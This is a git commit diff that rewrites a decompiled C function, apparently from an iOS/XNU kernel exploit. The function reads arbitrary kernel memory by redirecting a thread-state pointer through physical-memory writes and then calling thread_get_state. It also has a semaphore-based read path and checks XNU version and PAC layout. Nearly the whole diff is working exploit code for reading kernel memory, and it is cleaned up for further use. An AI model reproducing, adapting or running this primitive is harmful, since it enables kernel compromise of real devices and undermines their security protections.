Rewrite thread-state PTE kread loop

This commit is contained in:
khanhduytran0
2026-06-18 10:28:10 +07:00
parent 620c519c05
commit 0cc92f4fe7
@@ -578,233 +578,163 @@ __int64 __fastcall kreadbuf_via_dev_null_and_thread_state(
unsigned int size,
int a5)
{
__int64 v5; // x28
unsigned __int64 vaddr_; // x22
unsigned int iMaybe; // w8
unsigned __int32 sizeMinusI; // w19
__int64 iPtr; // x26
unsigned __int64 xnuVersionPacked; // x8
int v16; // w9
unsigned __int32 v17; // w8
unsigned __int32 v18[2]; // x24
unsigned __int64 v19; // x20
__int64 v20; // x8
size_t offIGuess; // x26
unsigned __int64 v22; // x21
void *outBufWithOffAndOff; // x27
unsigned __int64 v24; // x22
uint64_t v25; // x8
__int64 v26; // x9
unsigned __int64 v27; // x8
unsigned __int64 v28; // x19
__int64 v29; // x25
kern_return_t v30; // w0
uint64_t pageMask; // x25
__int64 v32; // x19
__int64 v33; // x25
__int64 v34; // x0
kern_return_t state; // w0
unsigned int v36; // w19
__int64 v37; // x0
unsigned int v38; // w0
unsigned int v39; // w8
unsigned __int64 vaddr__; // [xsp+8h] [xbp-2B8h]
__int64 outBuf_; // [xsp+10h] [xbp-2B0h]
unsigned int size_; // [xsp+1Ch] [xbp-2A4h]
int v43; // [xsp+20h] [xbp-2A0h]
__int64 outBufWithOff; // [xsp+28h] [xbp-298h]
__int64 vaddrPlusI; // [xsp+30h] [xbp-290h]
int fd; // [xsp+38h] [xbp-288h] BYREF
mach_msg_type_number_t v47; // [xsp+3Ch] [xbp-284h] BYREF
natural_t old_state[134]; // [xsp+40h] [xbp-280h] BYREF
__int64 v49; // [xsp+258h] [xbp-68h] BYREF
mach_msg_type_number_t old_stateCnt[4]; // [xsp+260h] [xbp-60h] BYREF
natural_t threadState[134];
int fd = -1;
__int64 status = 0xAD001;
v5 = 0xAD001;
if ( krwCtx->threadForKernelRead + 1 >= 2 )
if ( krwCtx->threadForKernelRead + 1 < 2 || !krwCtx->threadStateKrwPhysAddr )
return status;
if ( !check_kaddr_in_physmap(krwCtx, vaddr) )
return status;
if ( a5 )
{
if ( *(uint64_t *)&krwCtx->threadStateKrwPhysAddr )
status = fd_open_dev_null(&fd);
if ( (uint32_t)status )
return status;
}
uint32_t offset = 0;
while ( offset < size )
{
uint32_t remaining = size - offset;
uint64_t currentVaddr = vaddr + offset;
uint32_t chunkSize;
if ( (krwCtx->pageMask & currentVaddr) == 0 && remaining >= 0x4000 && krw_ctx_has_read_caps(krwCtx) )
{
vaddr_ = vaddr;
if ( check_kaddr_in_physmap(krwCtx, vaddr) )
uint64_t xnuVersionPacked = krwCtx->xnuVersionPacked;
uint32_t maxChunk = xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 0x4000 : 0x80000;
if ( xnuVersionPacked > XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
maxChunk = 528;
chunkSize = remaining >= maxChunk ? maxChunk : remaining;
status = necp_semaphore_kread(krwCtx, currentVaddr, (char *)(outBuf + offset), chunkSize);
if ( (uint32_t)status )
break;
offset += chunkSize;
continue;
}
chunkSize = remaining >= 528 ? 528 : remaining;
if ( krwCtx->threadForKernelRead + 1 < 2 || !krwCtx->threadStateKrwPhysAddr )
{
status = 708609;
break;
}
uint32_t chunkOffset = 0;
while ( chunkOffset < chunkSize )
{
uint64_t readVaddr = currentVaddr + chunkOffset;
uint32_t bytesLeftInChunk = chunkSize - chunkOffset;
size_t bytesCopied = 0;
if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3)
&& (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
{
fd = -1;
if ( !a5 || (v5 = fd_open_dev_null(&fd), !(uint32_t)v5) )
uint64_t pageMask = krwCtx->pageMask;
uint64_t pageWindowOffset = pageMask & readVaddr;
uint64_t maxWindowOffset = (uint32_t)krwCtx->pageSizeOrSomething - 528LL;
uint64_t savedThreadStatePtr = 0;
mach_msg_type_number_t stateCount = 132;
if ( pageWindowOffset >= maxWindowOffset )
pageWindowOffset = maxWindowOffset;
if ( validate_kaddr_range(krwCtx, krwCtx->threadStateSavedPtr) )
{
if ( size )
savedThreadStatePtr = krwCtx->threadStateSavedPtr;
}
else
{
status = read_via_mapped_physmem_region(krwCtx, krwCtx->threadStateKrwPhysAddr, &savedThreadStatePtr, 8u, 0);
if ( (uint32_t)status )
break;
krwCtx->threadStateSavedPtr = savedThreadStatePtr;
}
uint64_t threadStateWindow = (readVaddr & ~pageMask) + pageWindowOffset;
uint64_t patchedThreadStatePtr = threadStateWindow - 16;
__dsb(0xBu);
status = physwritebuf_direct_mapped(krwCtx, krwCtx->threadStateKrwPhysAddr, &patchedThreadStatePtr, 8u, 0);
if ( !(uint32_t)status )
{
uint32_t readStatus = 0;
kern_return_t kr = thread_get_state(krwCtx->threadForKernelRead, 0x11, threadState, &stateCount);
if ( kr )
{
iMaybe = 0;
size_ = size;
vaddr__ = vaddr_;
outBuf_ = outBuf;
while ( 1 )
{
sizeMinusI = size - iMaybe;
iPtr = iMaybe;
vaddrPlusI = vaddr_ + iMaybe;
if ( (krwCtx->pageMask & vaddrPlusI) == 0 && sizeMinusI >= 0x4000 && krw_ctx_has_read_caps(krwCtx) )
{
xnuVersionPacked = krwCtx->xnuVersionPacked;
if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
v16 = 0x4000;
else
v16 = 0x80000;
if ( xnuVersionPacked <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
v17 = v16;
else
v17 = 528;
if ( sizeMinusI >= v17 )
v18[0] = v17;
else
v18[0] = sizeMinusI;
v5 = necp_semaphore_kread(krwCtx, vaddrPlusI, (char *)(outBuf + iPtr), v18[0]);
LABEL_68:
if ( (uint32_t)v5 )
goto LABEL_72;
goto LABEL_69;
}
if ( sizeMinusI >= 0x210 )
*(uint64_t *)v18 = 528;
else
*(uint64_t *)v18 = sizeMinusI;
if ( krwCtx->threadForKernelRead + 1 < 2 || !*(uint64_t *)&krwCtx->threadStateKrwPhysAddr )
{
v5 = 708609;
goto LABEL_72;
}
if ( v18[0] )
break;
LABEL_69:
iMaybe = v18[0] + iPtr;
if ( v18[0] + (unsigned int)iPtr >= size )
goto LABEL_70;
}
v19 = 0;
v20 = iPtr;
offIGuess = 0;
v43 = v20;
outBufWithOff = outBuf + v20;
while ( 1 )
{
v22 = v19 + vaddrPlusI;
outBufWithOffAndOff = (void *)(v19 + outBufWithOff);
v24 = *(uint64_t *)v18 - v19;
if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
{
*(uint64_t *)old_stateCnt = 0;
v47 = 132;
pageMask = krwCtx->pageMask;
if ( (pageMask & v22) >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
v32 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL;
else
v32 = pageMask & v22;
if ( validate_kaddr_range(krwCtx, *(uint64_t *)&krwCtx->threadStateSavedPtr) )
{
*(uint64_t *)old_stateCnt = *(uint64_t *)&krwCtx->threadStateSavedPtr;
goto LABEL_45;
}
v37 = read_via_mapped_physmem_region(krwCtx, *(uint64_t *)&krwCtx->threadStateKrwPhysAddr, old_stateCnt, 8u, 0);
v5 = v37;
if ( !(uint32_t)v37 )
{
*(uint64_t *)&krwCtx->threadStateSavedPtr = *(uint64_t *)old_stateCnt;
LABEL_45:
v33 = v32 + (v22 & ~pageMask);
__dsb(0xBu);
v49 = v33 - 16;
v34 = physwritebuf_direct_mapped(krwCtx, *(uint64_t *)&krwCtx->threadStateKrwPhysAddr, &v49, 8u, 0);
v5 = v34;
if ( !(uint32_t)v34 )
{
state = thread_get_state(krwCtx->threadForKernelRead, 0x11, old_state, &v47);
if ( state )
{
v36 = state | 0x80000000;
}
else if ( v47 == 132 )
{
if ( v33 - v22 + 528 <= v24 )
offIGuess = v33 - v22 + 528;
else
offIGuess = *(uint64_t *)v18 - v19;
memcpy(outBufWithOffAndOff, (char *)old_state + v22 - v33, offIGuess);
v36 = 0;
}
else
{
v36 = 708642;
}
v38 = physwritebuf_direct_mapped(krwCtx, *(uint64_t *)&krwCtx->threadStateKrwPhysAddr, old_stateCnt, 8u, 0);
if ( v36 )
v39 = v36;
else
v39 = v38;
if ( v38 )
v5 = v39;
else
v5 = v36;
}
}
}
else
{
old_stateCnt[0] = 132;
v25 = krwCtx->pageMask;
v26 = v22 & ~v25;
v27 = v25 & v22;
if ( v27 >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
v27 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL;
v28 = v27 + v26;
v29 = **(uint64_t **)&krwCtx->threadStateMappedPtr;
__dsb(0xBu);
**(uint64_t **)&krwCtx->threadStateMappedPtr = v27 + v26 - 16;
v30 = thread_get_state(krwCtx->threadForKernelRead, 17, old_state, old_stateCnt);
if ( v30 )
{
v5 = v30 | 0x80000000;
}
else if ( old_stateCnt[0] == 132 )
{
if ( v28 - v22 + 528 <= v24 )
offIGuess = v28 - v22 + 528;
else
offIGuess = *(uint64_t *)v18 - v19;
memcpy(outBufWithOffAndOff, (char *)old_state + v22 - v28, offIGuess);
v5 = 0;
}
else
{
v5 = 708642;
}
**(uint64_t **)&krwCtx->threadStateMappedPtr = v29;
}
if ( !(uint32_t)v5 )
{
v19 += offIGuess;
if ( v19 < *(uint64_t *)v18 )
continue;
}
size = size_;
vaddr_ = vaddr__;
outBuf = outBuf_;
LODWORD(iPtr) = v43;
goto LABEL_68;
}
readStatus = kr | 0x80000000;
}
LABEL_70:
v5 = 0;
LABEL_72:
if ( fd != -1 )
fd_close(fd);
else if ( stateCount == 132 )
{
uint64_t windowBytesLeft = threadStateWindow - readVaddr + 528;
bytesCopied = windowBytesLeft <= bytesLeftInChunk ? windowBytesLeft : bytesLeftInChunk;
memcpy((void *)(outBuf + offset + chunkOffset), (char *)threadState + readVaddr - threadStateWindow, bytesCopied);
}
else
{
readStatus = 708642;
}
uint32_t restoreStatus = physwritebuf_direct_mapped(krwCtx, krwCtx->threadStateKrwPhysAddr, &savedThreadStatePtr, 8u, 0);
status = restoreStatus ? (readStatus ? readStatus : restoreStatus) : readStatus;
}
}
else
{
mach_msg_type_number_t stateCount = 132;
uint64_t pageMask = krwCtx->pageMask;
uint64_t pageBase = readVaddr & ~pageMask;
uint64_t pageWindowOffset = pageMask & readVaddr;
uint64_t maxWindowOffset = (uint32_t)krwCtx->pageSizeOrSomething - 528LL;
if ( pageWindowOffset >= maxWindowOffset )
pageWindowOffset = maxWindowOffset;
uint64_t threadStateWindow = pageBase + pageWindowOffset;
uint64_t *mappedThreadStatePtr = (uint64_t *)krwCtx->threadStateMappedPtr;
uint64_t savedThreadStatePtr = *mappedThreadStatePtr;
__dsb(0xBu);
*mappedThreadStatePtr = threadStateWindow - 16;
kern_return_t kr = thread_get_state(krwCtx->threadForKernelRead, 17, threadState, &stateCount);
if ( kr )
{
status = kr | 0x80000000;
}
else if ( stateCount == 132 )
{
uint64_t windowBytesLeft = threadStateWindow - readVaddr + 528;
bytesCopied = windowBytesLeft <= bytesLeftInChunk ? windowBytesLeft : bytesLeftInChunk;
memcpy((void *)(outBuf + offset + chunkOffset), (char *)threadState + readVaddr - threadStateWindow, bytesCopied);
status = 0;
}
else
{
status = 708642;
}
*mappedThreadStatePtr = savedThreadStatePtr;
}
if ( (uint32_t)status )
break;
chunkOffset += bytesCopied;
}
if ( (uint32_t)status )
break;
offset += chunkSize;
}
return v5;
if ( offset >= size )
status = 0;
if ( fd != -1 )
fd_close(fd);
return status;
}
// 2999C: variable 'v34' is possibly undefined
// 29A04: variable 'v37' is possibly undefined
// 29A7C: variable 'v38' is possibly undefined
//----- (0000000000029AD0) ----------------------------------------------------
__int64 __fastcall kreadbuf_via_tfp0(